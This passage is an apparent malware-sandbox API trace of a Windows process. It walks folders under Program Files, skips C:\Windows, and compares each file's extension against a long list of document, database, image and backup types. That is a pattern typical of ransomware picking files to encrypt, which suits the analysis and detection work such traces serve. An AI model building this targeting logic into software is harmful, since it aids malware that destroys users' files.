returned -1 [0077.146] lstrlenW (lpString=".flm") returned 4 [0077.146] lstrcmpiW (lpString1=".flm", lpString2=".HTM") returned -1 [0077.146] lstrlenW (lpString=".flv") returned 4 [0077.146] lstrcmpiW (lpString1=".flv", lpString2=".HTM") returned -1 [0077.146] lstrlenW (lpString=".frm") returned 4 [0077.146] lstrcmpiW (lpString1=".frm", lpString2=".HTM") returned -1 [0077.146] lstrlenW (lpString=".fxg") returned 4 [0077.146] lstrcmpiW (lpString1=".fxg", lpString2=".HTM") returned -1 [0077.146] lstrlenW (lpString=".geo") returned 4 [0077.146] lstrcmpiW (lpString1=".geo", lpString2=".HTM") returned -1 [0077.146] lstrlenW (lpString=".gif") returned 4 [0077.146] lstrcmpiW (lpString1=".gif", lpString2=".HTM") returned -1 [0077.146] lstrlenW (lpString=".grs") returned 4 [0077.146] lstrcmpiW (lpString1=".grs", lpString2=".HTM") returned -1 [0077.146] lstrlenW (lpString=".gz") returned 3 [0077.146] lstrcmpiW (lpString1=".gz", lpString2="HTM") returned -1 [0077.146] lstrlenW (lpString=".h") returned 2 [0077.146] lstrcmpiW (lpString1=".h", lpString2="TM") returned -1 [0077.146] lstrlenW (lpString=".hdr") returned 4 [0077.146] lstrcmpiW (lpString1=".hdr", lpString2=".HTM") returned -1 [0077.147] lstrlenW (lpString=".hpp") returned 4 [0077.147] lstrcmpiW (lpString1=".hpp", lpString2=".HTM") returned -1 [0077.147] lstrlenW (lpString=".hta") returned 4 [0077.147] lstrcmpiW (lpString1=".hta", lpString2=".HTM") returned -1 [0077.147] lstrlenW (lpString=".htc") returned 4 [0077.147] lstrcmpiW (lpString1=".htc", lpString2=".HTM") returned -1 [0077.147] lstrlenW (lpString=".htm") returned 4 [0077.147] lstrcmpiW (lpString1=".htm", lpString2=".HTM") returned 0 [0077.147] FindNextFileW (in: hFindFile=0x3974330, lpFindFileData=0x354f094 | out: lpFindFileData=0x354f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x4380, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL", cAlternateFileName="")) returned 1 [0077.147] lstrlenW (lpString="STINTL.DLL") returned 10 [0077.147] lstrlenW (lpString=".1cd") returned 4 [0077.147] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0077.147] lstrlenW (lpString=".3ds") returned 4 [0077.147] lstrcmpiW (lpString1=".3ds", lpString2=".DLL") returned -1 [0077.147] lstrlenW (lpString=".3fr") returned 4 [0077.147] lstrcmpiW (lpString1=".3fr", lpString2=".DLL") returned -1 [0077.147] lstrlenW (lpString=".3g2") returned 4 [0077.147] lstrcmpiW (lpString1=".3g2", lpString2=".DLL") returned -1 [0077.147] lstrlenW (lpString=".3gp") returned 4 [0077.147] lstrcmpiW (lpString1=".3gp", lpString2=".DLL") returned -1 [0077.148] lstrlenW (lpString=".7z") returned 3 [0077.148] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0077.148] lstrlenW (lpString=".accda") returned 6 [0077.148] lstrcmpiW (lpString1=".accda", lpString2="TL.DLL") returned -1 [0077.148] lstrlenW (lpString=".accdb") returned 6 [0077.148] lstrcmpiW (lpString1=".accdb", lpString2="TL.DLL") returned -1 [0077.148] lstrlenW (lpString=".accdc") returned 6 [0077.148] lstrcmpiW (lpString1=".accdc", lpString2="TL.DLL") returned -1 [0077.148] lstrlenW (lpString=".accde") returned 6 [0077.148] lstrcmpiW (lpString1=".accde", lpString2="TL.DLL") returned -1 [0077.148] lstrlenW (lpString=".accdt") returned 6 [0077.148] lstrcmpiW (lpString1=".accdt", lpString2="TL.DLL") returned -1 [0077.148] lstrlenW (lpString=".accdw") returned 6 [0077.149] lstrcmpiW (lpString1=".accdw", lpString2="TL.DLL") returned -1 [0077.149] lstrlenW (lpString=".adb") returned 4 [0077.149] lstrcmpiW (lpString1=".adb", lpString2=".DLL") returned -1 [0077.149] lstrlenW (lpString=".adp") returned 4 [0077.149] lstrcmpiW (lpString1=".adp", lpString2=".DLL") returned -1 [0077.149] lstrlenW (lpString=".ai") returned 3 [0077.149] lstrcmpiW (lpString1=".ai", lpString2="DLL") returned -1 [0077.149] lstrlenW (lpString=".ai3") returned 4 [0077.149] lstrcmpiW (lpString1=".ai3", lpString2=".DLL") returned -1 [0077.150] lstrlenW (lpString=".ai4") returned 4 [0077.150] lstrcmpiW (lpString1=".ai4", lpString2=".DLL") returned -1 [0077.150] lstrlenW (lpString=".ai5") returned 4 [0077.150] lstrcmpiW (lpString1=".ai5", lpString2=".DLL") returned -1 [0077.150] lstrlenW (lpString=".ai6") returned 4 [0077.150] lstrcmpiW (lpString1=".ai6", lpString2=".DLL") returned -1 [0077.150] lstrlenW (lpString=".ai7") returned 4 [0077.150] lstrcmpiW (lpString1=".ai7", lpString2=".DLL") returned -1 [0077.150] lstrlenW (lpString=".ai8") returned 4 [0077.150] lstrcmpiW (lpString1=".ai8", lpString2=".DLL") returned -1 [0077.150] lstrlenW (lpString=".anim") returned 5 [0077.150] lstrcmpiW (lpString1=".anim", lpString2="L.DLL") returned -1 [0077.150] lstrlenW (lpString=".arw") returned 4 [0077.150] lstrcmpiW (lpString1=".arw", lpString2=".DLL") returned -1 [0077.151] lstrlenW (lpString=".as") returned 3 [0077.151] lstrcmpiW (lpString1=".as", lpString2="DLL") returned -1 [0077.151] lstrlenW (lpString=".asa") returned 4 [0077.151] lstrcmpiW (lpString1=".asa", lpString2=".DLL") returned -1 [0077.151] lstrlenW (lpString=".asc") returned 4 [0077.151] lstrcmpiW (lpString1=".asc", lpString2=".DLL") returned -1 [0077.151] lstrlenW (lpString=".ascx") returned 5 [0077.151] lstrcmpiW (lpString1=".ascx", lpString2="L.DLL") returned -1 [0077.151] lstrlenW (lpString=".asm") returned 4 [0077.151] lstrcmpiW (lpString1=".asm", lpString2=".DLL") returned -1 [0077.151] lstrlenW (lpString=".asmx") returned 5 [0077.151] lstrcmpiW (lpString1=".asmx", lpString2="L.DLL") returned -1 [0077.151] lstrlenW (lpString=".asp") returned 4 [0077.151] lstrcmpiW (lpString1=".asp", lpString2=".DLL") returned -1 [0077.151] lstrlenW (lpString=".aspx") returned 5 [0077.152] lstrcmpiW (lpString1=".aspx", lpString2="L.DLL") returned -1 [0077.152] lstrlenW (lpString=".asr") returned 4 [0077.152] lstrcmpiW (lpString1=".asr", lpString2=".DLL") returned -1 [0077.152] lstrlenW (lpString=".asx") returned 4 [0077.152] lstrcmpiW (lpString1=".asx", lpString2=".DLL") returned -1 [0077.152] lstrlenW (lpString=".avi") returned 4 [0077.152] lstrcmpiW (lpString1=".avi", lpString2=".DLL") returned -1 [0077.152] lstrlenW (lpString=".avs") returned 4 [0077.152] lstrcmpiW (lpString1=".avs", lpString2=".DLL") returned -1 [0077.152] lstrlenW (lpString=".backup") returned 7 [0077.152] lstrcmpiW (lpString1=".backup", lpString2="NTL.DLL") returned -1 [0077.152] lstrlenW (lpString=".bak") returned 4 [0077.152] lstrcmpiW (lpString1=".bak", lpString2=".DLL") returned -1 [0077.152] lstrlenW (lpString=".bay") returned 4 [0077.152] lstrcmpiW (lpString1=".bay", lpString2=".DLL") returned -1 [0077.152] lstrlenW (lpString=".bd") returned 3 [0077.152] lstrcmpiW (lpString1=".bd", lpString2="DLL") returned -1 [0077.153] lstrlenW (lpString=".bin") returned 4 [0077.153] lstrcmpiW (lpString1=".bin", lpString2=".DLL") returned -1 [0077.153] lstrlenW (lpString=".bmp") returned 4 [0077.153] lstrcmpiW (lpString1=".bmp", lpString2=".DLL") returned -1 [0077.153] lstrlenW (lpString=".bz2") returned 4 [0077.153] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0077.153] lstrlenW (lpString=".c") returned 2 [0077.153] lstrcmpiW (lpString1=".c", lpString2="LL") returned -1 [0077.153] lstrlenW (lpString=".cdr") returned 4 [0077.153] lstrcmpiW (lpString1=".cdr", lpString2=".DLL") returned -1 [0077.153] lstrlenW (lpString=".cer") returned 4 [0077.153] lstrcmpiW (lpString1=".cer", lpString2=".DLL") returned -1 [0077.153] lstrlenW (lpString=".cf") returned 3 [0077.153] lstrcmpiW (lpString1=".cf", lpString2="DLL") returned -1 [0077.153] lstrlenW (lpString=".cfc") returned 4 [0077.153] lstrcmpiW (lpString1=".cfc", lpString2=".DLL") returned -1 [0077.153] lstrlenW (lpString=".cfm") returned 4 [0077.153] lstrcmpiW (lpString1=".cfm", lpString2=".DLL") returned -1 [0077.153] lstrlenW (lpString=".cfml") returned 5 [0077.153] lstrcmpiW (lpString1=".cfml", lpString2="L.DLL") returned -1 [0077.153] lstrlenW (lpString=".cfu") returned 4 [0077.153] lstrcmpiW (lpString1=".cfu", lpString2=".DLL") returned -1 [0077.154] lstrlenW (lpString=".chm") returned 4 [0077.154] lstrcmpiW (lpString1=".chm", lpString2=".DLL") returned -1 [0077.154] lstrlenW (lpString=".cin") returned 4 [0077.154] lstrcmpiW (lpString1=".cin", lpString2=".DLL") returned -1 [0077.154] lstrlenW (lpString=".class") returned 6 [0077.154] lstrcmpiW (lpString1=".class", lpString2="TL.DLL") returned -1 [0077.154] lstrlenW (lpString=".clx") returned 4 [0077.154] lstrcmpiW (lpString1=".clx", lpString2=".DLL") returned -1 [0077.154] lstrlenW (lpString=".config") returned 7 [0077.154] lstrcmpiW (lpString1=".config", lpString2="NTL.DLL") returned -1 [0077.154] lstrlenW (lpString=".cpp") returned 4 [0077.154] lstrcmpiW (lpString1=".cpp", lpString2=".DLL") returned -1 [0077.154] lstrlenW (lpString=".cr2") returned 4 [0077.154] lstrcmpiW (lpString1=".cr2", lpString2=".DLL") returned -1 [0077.154] lstrlenW (lpString=".crt") returned 4 [0077.155] lstrcmpiW (lpString1=".crt", lpString2=".DLL") returned -1 [0077.155] lstrlenW (lpString=".crw") returned 4 [0077.155] lstrcmpiW (lpString1=".crw", lpString2=".DLL") returned -1 [0077.155] lstrlenW (lpString=".cs") returned 3 [0077.155] lstrcmpiW (lpString1=".cs", lpString2="DLL") returned -1 [0077.155] lstrlenW (lpString=".css") returned 4 [0077.155] lstrcmpiW (lpString1=".css", lpString2=".DLL") returned -1 [0077.155] lstrlenW (lpString=".csv") returned 4 [0077.155] lstrcmpiW (lpString1=".csv", lpString2=".DLL") returned -1 [0077.155] lstrlenW (lpString=".cub") returned 4 [0077.155] lstrcmpiW (lpString1=".cub", lpString2=".DLL") returned -1 [0077.155] lstrlenW (lpString=".dae") returned 4 [0077.155] lstrcmpiW (lpString1=".dae", lpString2=".DLL") returned -1 [0077.156] lstrlenW (lpString=".dat") returned 4 [0077.156] lstrcmpiW (lpString1=".dat", lpString2=".DLL") returned -1 [0077.156] lstrlenW (lpString=".db") returned 3 [0077.156] lstrcmpiW (lpString1=".db", lpString2="DLL") returned -1 [0077.156] lstrlenW (lpString=".dbf") returned 4 [0077.156] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0077.156] lstrlenW (lpString=".dbx") returned 4 [0077.156] lstrcmpiW (lpString1=".dbx", lpString2=".DLL") returned -1 [0077.156] lstrlenW (lpString=".dc3") returned 4 [0077.156] lstrcmpiW (lpString1=".dc3", lpString2=".DLL") returned -1 [0077.156] lstrlenW (lpString=".dcm") returned 4 [0077.156] lstrcmpiW (lpString1=".dcm", lpString2=".DLL") returned -1 [0077.156] lstrlenW (lpString=".dcr") returned 4 [0077.157] lstrcmpiW (lpString1=".dcr", lpString2=".DLL") returned -1 [0077.157] lstrlenW (lpString=".der") returned 4 [0077.157] lstrcmpiW (lpString1=".der", lpString2=".DLL") returned -1 [0077.157] lstrlenW (lpString=".dib") returned 4 [0077.157] lstrcmpiW (lpString1=".dib", lpString2=".DLL") returned -1 [0077.157] lstrlenW (lpString=".dic") returned 4 [0077.157] lstrcmpiW (lpString1=".dic", lpString2=".DLL") returned -1 [0077.157] lstrlenW (lpString=".dif") returned 4 [0077.157] lstrcmpiW (lpString1=".dif", lpString2=".DLL") returned -1 [0077.157] lstrlenW (lpString=".divx") returned 5 [0077.157] lstrcmpiW (lpString1=".divx", lpString2="L.DLL") returned -1 [0077.157] lstrlenW (lpString=".djvu") returned 5 [0077.157] lstrcmpiW (lpString1=".djvu", lpString2="L.DLL") returned -1 [0077.157] lstrlenW (lpString=".dng") returned 4 [0077.157] lstrcmpiW (lpString1=".dng", lpString2=".DLL") returned 1 [0077.158] lstrlenW (lpString=".doc") returned 4 [0077.158] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0077.158] lstrlenW (lpString=".docm") returned 5 [0077.158] lstrcmpiW (lpString1=".docm", lpString2="L.DLL") returned -1 [0077.158] lstrlenW (lpString=".docx") returned 5 [0077.158] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0077.158] lstrlenW (lpString=".dot") returned 4 [0077.158] lstrcmpiW (lpString1=".dot", lpString2=".DLL") returned 1 [0077.158] lstrlenW (lpString=".dotm") returned 5 [0077.158] lstrcmpiW (lpString1=".dotm", lpString2="L.DLL") returned -1 [0077.158] lstrlenW (lpString=".dotx") returned 5 [0077.158] lstrcmpiW (lpString1=".dotx", lpString2="L.DLL") returned -1 [0077.158] lstrlenW (lpString=".dpx") returned 4 [0077.158] lstrcmpiW (lpString1=".dpx", lpString2=".DLL") returned 1 [0077.158] lstrlenW (lpString=".dqy") returned 4 [0077.158] lstrcmpiW (lpString1=".dqy", lpString2=".DLL") returned 1 [0077.159] lstrlenW (lpString=".dsn") returned 4 [0077.159] lstrcmpiW (lpString1=".dsn", lpString2=".DLL") returned 1 [0077.159] lstrlenW (lpString=".dt") returned 3 [0077.159] lstrcmpiW (lpString1=".dt", lpString2="DLL") returned -1 [0077.159] lstrlenW (lpString=".dtd") returned 4 [0077.159] lstrcmpiW (lpString1=".dtd", lpString2=".DLL") returned 1 [0077.159] lstrlenW (lpString=".dwg") returned 4 [0077.159] lstrcmpiW (lpString1=".dwg", lpString2=".DLL") returned 1 [0077.159] lstrlenW (lpString=".dwt") returned 4 [0077.159] lstrcmpiW (lpString1=".dwt", lpString2=".DLL") returned 1 [0077.159] lstrlenW (lpString=".dx") returned 3 [0077.159] lstrcmpiW (lpString1=".dx", lpString2="DLL") returned -1 [0077.159] lstrlenW (lpString=".dxf") returned 4 [0077.159] lstrcmpiW (lpString1=".dxf", lpString2=".DLL") returned 1 [0077.159] lstrlenW (lpString=".edml") returned 5 [0077.159] lstrcmpiW (lpString1=".edml", lpString2="L.DLL") returned -1 [0077.159] lstrlenW (lpString=".efd") returned 4 [0077.160] lstrcmpiW (lpString1=".efd", lpString2=".DLL") returned 1 [0077.160] lstrlenW (lpString=".elf") returned 4 [0077.160] lstrcmpiW (lpString1=".elf", lpString2=".DLL") returned 1 [0077.160] lstrlenW (lpString=".emf") returned 4 [0077.160] lstrcmpiW (lpString1=".emf", lpString2=".DLL") returned 1 [0077.160] lstrlenW (lpString=".emz") returned 4 [0077.160] lstrcmpiW (lpString1=".emz", lpString2=".DLL") returned 1 [0077.160] lstrlenW (lpString=".epf") returned 4 [0077.160] lstrcmpiW (lpString1=".epf", lpString2=".DLL") returned 1 [0077.160] lstrlenW (lpString=".eps") returned 4 [0077.160] lstrcmpiW (lpString1=".eps", lpString2=".DLL") returned 1 [0077.160] lstrlenW (lpString=".epsf") returned 5 [0077.160] lstrcmpiW (lpString1=".epsf", lpString2="L.DLL") returned -1 [0077.160] lstrlenW (lpString=".epsp") returned 5 [0077.160] lstrcmpiW (lpString1=".epsp", lpString2="L.DLL") returned -1 [0077.160] lstrlenW (lpString=".erf") returned 4 [0077.160] lstrcmpiW (lpString1=".erf", lpString2=".DLL") returned 1 [0077.160] lstrlenW (lpString=".exr") returned 4 [0077.160] lstrcmpiW (lpString1=".exr", lpString2=".DLL") returned 1 [0077.160] lstrlenW (lpString=".f4v") returned 4 [0077.161] lstrcmpiW (lpString1=".f4v", lpString2=".DLL") returned 1 [0077.161] lstrlenW (lpString=".fido") returned 5 [0077.161] lstrcmpiW (lpString1=".fido", lpString2="L.DLL") returned -1 [0077.161] lstrlenW (lpString=".flm") returned 4 [0077.161] lstrcmpiW (lpString1=".flm", lpString2=".DLL") returned 1 [0077.161] lstrlenW (lpString=".flv") returned 4 [0077.161] lstrcmpiW (lpString1=".flv", lpString2=".DLL") returned 1 [0077.161] lstrlenW (lpString=".frm") returned 4 [0077.161] lstrcmpiW (lpString1=".frm", lpString2=".DLL") returned 1 [0077.161] lstrlenW (lpString=".fxg") returned 4 [0077.161] lstrcmpiW (lpString1=".fxg", lpString2=".DLL") returned 1 [0077.161] lstrlenW (lpString=".geo") returned 4 [0077.161] lstrcmpiW (lpString1=".geo", lpString2=".DLL") returned 1 [0077.161] lstrlenW (lpString=".gif") returned 4 [0077.161] lstrcmpiW (lpString1=".gif", lpString2=".DLL") returned 1 [0077.161] lstrlenW (lpString=".grs") returned 4 [0077.161] lstrcmpiW (lpString1=".grs", lpString2=".DLL") returned 1 [0077.161] lstrlenW (lpString=".gz") returned 3 [0077.161] lstrcmpiW (lpString1=".gz", lpString2="DLL") returned -1 [0077.161] lstrlenW (lpString=".h") returned 2 [0077.161] lstrcmpiW (lpString1=".h", lpString2="LL") returned -1 [0077.162] lstrlenW (lpString=".hdr") returned 4 [0077.162] lstrcmpiW (lpString1=".hdr", lpString2=".DLL") returned 1 [0077.162] lstrlenW (lpString=".hpp") returned 4 [0077.162] lstrcmpiW (lpString1=".hpp", lpString2=".DLL") returned 1 [0077.162] lstrlenW (lpString=".hta") returned 4 [0077.162] lstrcmpiW (lpString1=".hta", lpString2=".DLL") returned 1 [0077.162] lstrlenW (lpString=".htc") returned 4 [0077.162] lstrcmpiW (lpString1=".htc", lpString2=".DLL") returned 1 [0077.162] lstrlenW (lpString=".htm") returned 4 [0077.162] lstrcmpiW (lpString1=".htm", lpString2=".DLL") returned 1 [0077.162] lstrlenW (lpString=".html") returned 5 [0077.162] lstrcmpiW (lpString1=".html", lpString2="L.DLL") returned -1 [0078.572] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.244] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2608de, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2608de, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0079.695] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3910090 | out: hHeap=0x5b0000) returned 1 [0079.695] FindNextFileW (in: hFindFile=0x3974230, lpFindFileData=0x354f58c | out: lpFindFileData=0x354f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1 [0079.695] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3910090 [0079.695] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*", lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39742f0 [0079.696] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.697] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0079.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US") returned 61 [0079.697] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US") returned 1 [0079.697] lstrlenW (lpString="en-US") returned 5 [0079.697] lstrcmpiW (lpString1="C:\\Windows", lpString2="en-US") returned -1 [0079.697] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3f6a098 [0079.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US") returned 61 [0079.697] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*", lpFindFileData=0x354f094 | out: lpFindFileData=0x354f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974330 [0079.697] FindNextFileW (in: hFindFile=0x3974330, lpFindFileData=0x354f094 | out: lpFindFileData=0x354f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.698] FindNextFileW (in: hFindFile=0x3974330, lpFindFileData=0x354f094 | out: lpFindFileData=0x354f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0079.698] FindClose (in: hFindFile=0x3974330 | out: hFindFile=0x3974330) returned 1 [0079.698] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3f6a098 | out: hHeap=0x5b0000) returned 1 [0079.698] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xcf518520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x23d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCONV97.DLL", cAlternateFileName="")) returned 1 [0079.698] lstrlenW (lpString="MSCONV97.DLL") returned 12 [0079.698] lstrlenW (lpString=".1cd") returned 4 [0079.698] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0079.698] lstrlenW (lpString=".3ds") returned 4 [0079.698] lstrcmpiW (lpString1=".3ds", lpString2=".DLL") returned -1 [0079.698] lstrlenW (lpString=".3fr") returned 4 [0079.698] lstrcmpiW (lpString1=".3fr", lpString2=".DLL") returned -1 [0079.699] lstrlenW (lpString=".3g2") returned 4 [0079.699] lstrcmpiW (lpString1=".3g2", lpString2=".DLL") returned -1 [0079.699] lstrlenW (lpString=".3gp") returned 4 [0079.699] lstrcmpiW (lpString1=".3gp", lpString2=".DLL") returned -1 [0079.699] lstrlenW (lpString=".7z") returned 3 [0079.699] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0079.699] lstrlenW (lpString=".accda") returned 6 [0079.699] lstrcmpiW (lpString1=".accda", lpString2="97.DLL") returned -1 [0079.699] lstrlenW (lpString=".accdb") returned 6 [0079.699] lstrcmpiW (lpString1=".accdb", lpString2="97.DLL") returned -1 [0079.699] lstrlenW (lpString=".accdc") returned 6 [0079.699] lstrcmpiW (lpString1=".accdc", lpString2="97.DLL") returned -1 [0079.699] lstrlenW (lpString=".accde") returned 6 [0079.699] lstrcmpiW (lpString1=".accde", lpString2="97.DLL") returned -1 [0079.699] lstrlenW (lpString=".accdt") returned 6 [0079.699] lstrcmpiW (lpString1=".accdt", lpString2="97.DLL") returned -1 [0079.699] lstrlenW (lpString=".accdw") returned 6 [0079.700] lstrcmpiW (lpString1=".accdw", lpString2="97.DLL") returned -1 [0079.700] lstrlenW (lpString=".adb") returned 4 [0079.700] lstrcmpiW (lpString1=".adb", lpString2=".DLL") returned -1 [0079.700] lstrlenW (lpString=".adp") returned 4 [0079.700] lstrcmpiW (lpString1=".adp", lpString2=".DLL") returned -1 [0079.700] lstrlenW (lpString=".ai") returned 3 [0079.700] lstrcmpiW (lpString1=".ai", lpString2="DLL") returned -1 [0079.700] lstrlenW (lpString=".ai3") returned 4 [0079.700] lstrcmpiW (lpString1=".ai3", lpString2=".DLL") returned -1 [0079.700] lstrlenW (lpString=".ai4") returned 4 [0079.700] lstrcmpiW (lpString1=".ai4", lpString2=".DLL") returned -1 [0079.700] lstrlenW (lpString=".ai5") returned 4 [0079.700] lstrcmpiW (lpString1=".ai5", lpString2=".DLL") returned -1 [0079.700] lstrlenW (lpString=".ai6") returned 4 [0079.700] lstrcmpiW (lpString1=".ai6", lpString2=".DLL") returned -1 [0079.701] lstrlenW (lpString=".ai7") returned 4 [0079.701] lstrcmpiW (lpString1=".ai7", lpString2=".DLL") returned -1 [0079.701] lstrlenW (lpString=".ai8") returned 4 [0079.701] lstrcmpiW (lpString1=".ai8", lpString2=".DLL") returned -1 [0079.701] lstrlenW (lpString=".anim") returned 5 [0079.701] lstrcmpiW (lpString1=".anim", lpString2="7.DLL") returned -1 [0079.701] lstrlenW (lpString=".arw") returned 4 [0079.701] lstrcmpiW (lpString1=".arw", lpString2=".DLL") returned -1 [0079.701] lstrlenW (lpString=".as") returned 3 [0079.701] lstrcmpiW (lpString1=".as", lpString2="DLL") returned -1 [0079.701] lstrlenW (lpString=".asa") returned 4 [0079.701] lstrcmpiW (lpString1=".asa", lpString2=".DLL") returned -1 [0079.701] lstrlenW (lpString=".asc") returned 4 [0079.701] lstrcmpiW (lpString1=".asc", lpString2=".DLL") returned -1 [0079.701] lstrlenW (lpString=".ascx") returned 5 [0079.701] lstrcmpiW (lpString1=".ascx", lpString2="7.DLL") returned -1 [0079.701] lstrlenW (lpString=".asm") returned 4 [0079.701] lstrcmpiW (lpString1=".asm", lpString2=".DLL") returned -1 [0079.701] lstrlenW (lpString=".asmx") returned 5 [0079.701] lstrcmpiW (lpString1=".asmx", lpString2="7.DLL") returned -1 [0079.701] lstrlenW (lpString=".asp") returned 4 [0079.702] lstrcmpiW (lpString1=".asp", lpString2=".DLL") returned -1 [0079.702] lstrlenW (lpString=".aspx") returned 5 [0079.702] 